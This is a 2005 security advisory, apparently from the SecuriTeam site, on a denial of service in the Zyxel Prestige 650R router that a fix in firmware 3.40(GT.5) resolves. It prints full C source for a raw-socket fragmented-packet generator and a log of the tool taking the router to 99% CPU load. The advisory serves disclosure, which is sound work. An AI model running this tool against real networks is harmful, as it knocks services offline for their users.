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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Prestige 650R ADSL Router DoS 24 May 2005    Summary Zyxel Prestige 600 Series is "a Popular ADSL Modem and Router". Prestige 600 fails to handle malformed fragmented IP packets. Whenever Prestige stumbles upon such packets its CPU usage will spike to 100% thus causing denial of service.   Credit: The information has been provided by Federico Kirschbaum. The original article can be found at: http://www.infobyte.com.ar Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Prestige 650R-31 running ZyNOS FireWall version 3.40(KO.1) Immune Systems:  * ZyNOS FireWall version 3.40(GT.5) Vendor Status: The vendor claims its not a vulnerability, that is rather a "Hardware Limitation". But seems an the last release of it's firmware fixed the problem. Patch Availability: Upgrade the firmware to V3.40(GT.5) Disclosure Timeline:  * 05.02.05 - Initial vendor notification  * 05.03.05 - Initial vendor response  * 05.08.05 - Vendor determined as a HW limitation  * 05.10.05 - No response from vendor to several mails Exploit: Any IP crafting tool will do the job, in this case we used a fragmented ip generator coded by Fryx: /* * frag * by: Fryxar * e-mail: fryxar@yahoo.com.ar * * Fragment ICMP packet generator */ #include<stdio.h> #include<netdb.h> #include<stdlib.h> #include<errno.h> #include<unistd.h> #include<sys/socket.h> #include<netinet/ip.h> #include<netinet/ip_icmp.h> #define ERROR(msg) {perror(msg); exit -1;} #define FRAGS_ALL 0 #define FRAGS_ODD 1 #define FRAGS_EVEN 2 int open_packet() { int s, on = 1;     if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)                 ERROR("socket");    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)                 ERROR("setsockopt");   return s; } unsigned short in_cksum(unsigned short *addr,int len) {         register int sum = 0;         u_short answer = 0;         register u_short *w = addr;         register int nleft = len;           /*          * Our algorithm is simple, using a 32 bit accumulator (sum), we add          * sequential 16 bit words to it, and at the end, fold back all the          * carry bits from the top 16 bits into the lower 16 bits.          */         while (nleft > 1) {                 sum += *w++;                 nleft -= 2;         }           /* mop up an odd byte, if necessary */         if (nleft == 1) {                 *(u_char *)(&answer) = *(u_char *)w ;                 sum += answer;         }           /* add back carry outs from top 16 bits to low 16 bits */         sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */         sum += (sum >> 16); /* add carry */         answer = ~sum; /* truncate to 16 bits */         return(answer); } int send_packet(int s, struct sockaddr_in saddr, struct sockaddr_in daddr, int protocol, char frags, int id, int frag_len, int tot_len) { unsigned char packet[IP_MAXPACKET]; struct iphdr *iphdr; struct icmphdr *icmphdr; int offset, length; int start, step;    switch(frags) {    case FRAGS_ALL:       start = 0;       step = (frag_len<<3);       break;    case FRAGS_EVEN:       start = 0;       step = 2*(frag_len<<3);       break;    case FRAGS_ODD:       start = (frag_len<<3);       step = 2*(frag_len<<3);       break;    }    memset(packet, 0, IP_MAXPACKET);    length = sizeof(struct iphdr) + (frag_len<<3);        iphdr = (struct iphdr *)packet;    icmphdr = (struct icmphdr *)(packet + sizeof(struct iphdr));         iphdr->ihl = 5;         iphdr->version = IPVERSION;         iphdr->tot_len = htons(length);         iphdr->id = htons(id);         iphdr->ttl = IPDEFTTL;         iphdr->protocol = protocol;         iphdr->saddr = saddr.sin_addr.s_addr;         iphdr->daddr = daddr.sin_addr.s_addr;    for(offset = start; offset < tot_len; offset += step) {       if(offset) {                    // Not first fragment          iphdr->frag_off = htons(offset>>3);          bzero(packet + sizeof(struct iphdr), IP_MAXPACKET                                                                  - sizeof(struct iphdr));       } else {                         // First fragment          iphdr->frag_off = 0;                         if(protocol == IPPROTO_ICMP) {             icmphdr->type = ICMP_ECHO;             icmphdr->code = 0;             icmphdr->un.echo.id = 0;             icmphdr->un.echo.sequence = 0;             icmphdr->checksum = (unsigned short)in_cksum((unsigned short *)icmphdr, tot_len);          }      }      if(offset + (frag_len<<3) < tot_len) {         iphdr->frag_off |= htons(IP_MF);      } else {         length = sizeof(struct iphdr) + tot_len - offset;         iphdr->tot_len = htons(length);      }          iphdr->check = (unsigned short)in_cksum((unsigned short *)iphdr, sizeof(struct iphdr));       if(sendto(s, packet, length, 0x0, (struct sockaddr *)&daddr, sizeof(struct sockaddr)) != length)           ERROR("sendto");    } } void usage(char *program) {    fprintf(stderr, "frag v"VERSION"\n"       "usage: %s [options] <source_host> <destination_host>\n\n"       "options:\n"       " -i <id> Starting session id (range: 1-65535)\n"       " -s <fragmentsize> Fragments size (x 8)\n"       " -l <packetsize> Total packet size\n"       " -t <type> Set send policity (odd|even|all)\n"       " -p <protocol> Set protocol (tcp|udp|icmp...)\n"       " -a <n> Amount of packet to send\n"       "\ndefault:\n"       "%s -i 1 -t all -s 7 -p icmp -l 64000 -a 1 my_host.com your_host.com\n"       "\n", program, program); exit(-1); } int main(int argc, char *argv[]) { char *shost, *dhost; struct hostent *hostentry; struct sockaddr_in saddr, daddr; struct protoent *protoent; int s, i; int id = 1, size = 7, len = 64000, amount = 1; int protocol = IPPROTO_ICMP, type = FRAGS_ALL;   if(argc < 3) usage(argv[0]);    while((i = getopt(argc, argv, "a:i:s:l:t:p:")) != -1) {       switch(i) {          case 'i':             if(strlen(optarg) == 0) usage(argv[0]);             id = atoi(optarg);          break;          case 's':             if(strlen(optarg) == 0) usage(argv[0]);             size = atoi(optarg);          break;          case 'a':             if(strlen(optarg) == 0) usage(argv[0]);             amount = atoi(optarg);          break;          case 'l':             if(strlen(optarg) == 0) usage(argv[0]);             len = atoi(optarg);          break;          case 't':             if(!memcmp(optarg, "odd", 4)) type = FRAGS_ODD;                                 else if(!memcmp(optarg, "even", 5)) type = FRAGS_EVEN;                                 else if(!memcmp(optarg, "all", 4)) type = FRAGS_ALL;                                 else usage(argv[0]);          break;          case 'p':             if((protoent=getprotobyname(optarg)) == NULL) usage(argv[0]);                                 protocol = protoent->p_proto;          break;                         default:                            usage(argv[0]);                                 break;                 }         }      shost = argv[argc-2];   dhost = argv[argc-1]; // Source address     if((hostentry = gethostbyname(shost)) == NULL) ERROR("gethostbyname source address");     memset(&saddr, 0, sizeof(struct sockaddr));     saddr.sin_family = AF_INET;     saddr.sin_addr = *((struct in_addr *)hostentry->h_addr); // Destination address     if((hostentry = gethostbyname(dhost)) == NULL) ERROR("gethostbyname destination address");     memset(&daddr, 0, sizeof(struct sockaddr));     daddr.sin_family = AF_INET;     daddr.sin_addr = *((struct in_addr *)hostentry->h_addr); // MAIN     s = open_packet();          for(i = 0; i < amount; i++) {             printf("Sending packets with ID %d (frags length=%d, total length=%d)\n",                                                           (id + i)%65535, (size<<3), len);        send_packet(s, saddr, daddr, protocol, type, (id + i)%65535, size, len);          }     close(s); return(0); } Example: root@r2d2:~/infobyte# ping 192.168.1.252 PING 192.168.1.252 (192.168.1.252): 56 octets data 64 octets from 192.168.1.252: icmp_seq=0 ttl=254 time=2.5 ms 64 octets from 192.168.1.252: icmp_seq=1 ttl=254 time=2.3 ms --- 192.168.1.252 ping statistics --- 2 packets transmitted, 2 packets received, 0% packet loss     -Prestige Status (Normal)   Ethernet:      Status: 100M/Full Duplex Tx Pkts: 71      Collisions: 0 Rx Pkts: 164    CPU Load = 4.09% root@r2d2:~/pentest/infobyte# frag-ip -i 1 -t all -s 7 -p tcp -l 64000 -a 1 170.1.2.3 192.168.1.252 Sending packets with ID 1 (frags length=56, total length=64000) root@r2d2:~/infobyte# ping 192.168.1.252 PING 192.168.1.252 (192.168.1.252): 56 octets data 64 octets from 192.168.1.252: icmp_seq=50 ttl=254 time=1002.3 ms 64 octets from 192.168.1.252: icmp_seq=51 ttl=254 time=7.7 ms -- 192.168.1.252 ping statistics --- 51 packets transmitted, 2 packets received, 93% packet loss     -Prestige Status (During the denial)     Ethernet:      Status: 100M/Full Duplex Tx Pkts: 71      Collisions: 0 Rx Pkts: 164    CPU Load = 99.59%  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles HP Data Protector LogBackupLocationStatus SQL Injection Vulnerabilty InduSoft WebStudio Unauthenticated Operations Code Execution Vulnerabilityy InduSoft WebStudio CEServer Operation 0x15 Code Execution Vulnerability HP Data Protector Notebook Extension RequestCopy SQL Injection Vulnerabilty HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty HP Data Protector Notebook Extension GetPolicies SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability HP Data Protector Notebook Extension LogClientHealth SQL Injection Vulnerabilty HP Data Protector Notebook Extension LogCopyOperation SQL Injection Vulnerabilty HP Data Protector Notebook Extension FinishedCopy SQL Injection Vulnerabilty Novell ZENWorks Software Packaging ISGrid.Grid2.1 Text Parameter Code Execution Vulnerabilit Adobe Reader BMP Image RLE Decoding Code Execution Vulnerability Apple QuickTime H264 Matrix Conversion Code Execution Vulnerability Apple QuickTime FLC Delta Decompression Code Execution Vulnerability Apple Quicktime PnPixPat PatType 3 Parsing Code Execution Vulnerability  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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